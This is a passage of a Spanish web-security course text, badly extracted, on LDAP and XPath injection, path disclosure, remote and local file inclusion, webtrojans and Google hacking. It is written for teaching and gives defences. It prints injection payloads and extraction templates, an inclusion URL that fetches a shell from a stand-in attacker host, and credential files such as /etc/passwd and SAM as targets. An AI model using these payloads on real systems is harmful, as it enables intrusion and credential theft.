Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

